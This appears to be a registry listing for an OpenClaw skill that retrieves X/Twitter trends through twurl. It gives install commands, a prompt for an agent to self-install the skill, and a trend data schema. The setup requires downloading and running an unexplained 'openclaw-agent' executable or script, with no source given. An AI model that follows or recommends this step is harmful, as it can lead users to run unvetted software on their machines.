A powerful tool to retrieve and analyze real-time trending topics and hashtags from X (Twitter) via the twurl CLI and openclaw-agent.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install x-trends-ovdpf
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install x-trends-ovdpf using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is X (Twitter) Trends?
The X Trends skill is a specialized integration designed to fetch live data from X (Twitter) directly into your agentic workflow. By leveraging the official twurl CLI and the openclaw-agent, this skill allows users to monitor global or regional conversations, track hashtag performance, and analyze tweet volume. It is an essential addition for developers and researchers using Openclaw Skills who need real-time social sentiment and trending data.
This skill bridges the gap between raw API endpoints and actionable insights, providing structured JSON output that can be filtered using jq. Whether you are tracking breaking news or monitoring brand mentions, this tool ensures you have the most current data from the social landscape.
X (Twitter) Trends Use Cases
- Monitoring worldwide or location-specific trending topics for market research.
- Identifying popular hashtags to optimize social media reach and engagement.
- Searching for recent tweets with specific filters like media-only content or verified accounts.
- Analyzing tweet volumes to gauge the popularity and momentum of specific events or news.
- Automating trend reports within your broader Openclaw Skills ecosystem.
How X (Twitter) Trends Works
- The user ensures the openclaw-agent is active on their local machine to facilitate communication.
- The twurl CLI tool is used to authenticate with the X/Twitter API using consumer keys and secrets.
- A request is sent to the X API v1.1 for trends or v2 for search operations.
- The raw JSON response is retrieved and can be parsed via jq for specific fields like name or tweet volume.
- The skill returns the filtered data to the agent for further analysis or reporting.
X (Twitter) Trends Setup
First, ensure you have the openclaw-agent running on your system. This is a requirement for all Openclaw Skills related to X trends.
Install twurl:
gem install twurl
Authorize with X API:
twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET
For Windows users, download and run the openclaw-agent executable. For macOS users, follow the installation script provided in the documentation to enable this skill.
X (Twitter) Trends Data Schema & Taxonomy
The skill returns structured data from the X API. Below is the primary schema for trend objects:
| Field | Description |
|---|---|
| name | The name of the trending topic or hashtag |
| url | The search URL for the trend on X |
| tweet_volume | The number of tweets for the trend within the last 24 hours (if available) |
| promoted_content | Boolean indicating if the trend is a promoted advertisement |
Location data is managed via WOEID (Where On Earth IDentifiers), such as 1 for Worldwide or 23424977 for the USA.
X (Twitter) Trends Advanced Features
- Filtered searches to find only tweets with media or tweets from verified accounts only.
- Support for custom location-based trend retrieval using specific latitude and longitude coordinates.
- Seamless integration with jq for advanced JSON filtering and complex data extraction tasks.
- Compatibility with the openclaw-agent for secure, local-first API management within Openclaw Skills.
- Automated trend discovery for any of the 400+ available WOEID locations globally.
SKILL.md
Loading
Related Openclaw Skills
X (Twitter) Trends Skill
A specialized skill for AI agents to retrieve, analyze, and search trending topics on X (Twitter) across various locations.
X (Twitter) Trends Skill
A professional tool for retrieving real-time X (Twitter) trending topics and searching hashtag data through the command line.
X (Twitter) Trends
A powerful utility for searching, analyzing, and tracking trending topics and hashtags on X (Twitter) using the Openclaw Skills framework.
X Trends Analyzer
A specialized tool to query, analyze, and search trending topics on X (Twitter) globally or by specific geographic location.
X (Twitter) Trends
A powerful CLI-driven skill for tracking, searching, and analyzing real-time trending topics and hashtags on X (Twitter).
X (Twitter) Trends
A specialized skill for searching, tracking, and analyzing real-time trending topics and hashtags on X (Twitter) via the twurl CLI.
METADATA
Featured*
